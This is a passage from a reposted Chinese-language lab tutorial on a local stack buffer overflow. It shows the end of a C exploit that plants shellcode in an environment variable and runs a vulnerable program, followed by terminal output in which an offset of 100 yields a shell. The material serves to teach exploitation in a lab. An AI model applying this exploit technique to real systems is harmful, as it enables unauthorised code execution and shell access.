     memcpy(buf+400+i,shellcode,strlen(shellcode)); 

     setenv("PH4NT0M",buf,1); 

      printf("retaddr is at 0x%lx \n",ret); 

      execl("./env1","env1",NULL); 

      return 0; 

[tt@ph4nt0m explab]$ 

運行結果如下,OFFSET取100時,造成溢出,得到SHELL 

[tt@ph4nt0m explab]$ ./envexp1 
retaddr is at 0xbffff1ce 
buf addr is- 0xbfffefa0 - 
段錯誤 
[tt@ph4nt0m explab]$ ./envexp1 100 
retaddr is at 0xbfffed34 
buf addr is- 0xbfffeba0 - 
sh-2.05b$

 

轉自:http://wallimn.iteye.com/blog/440584


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM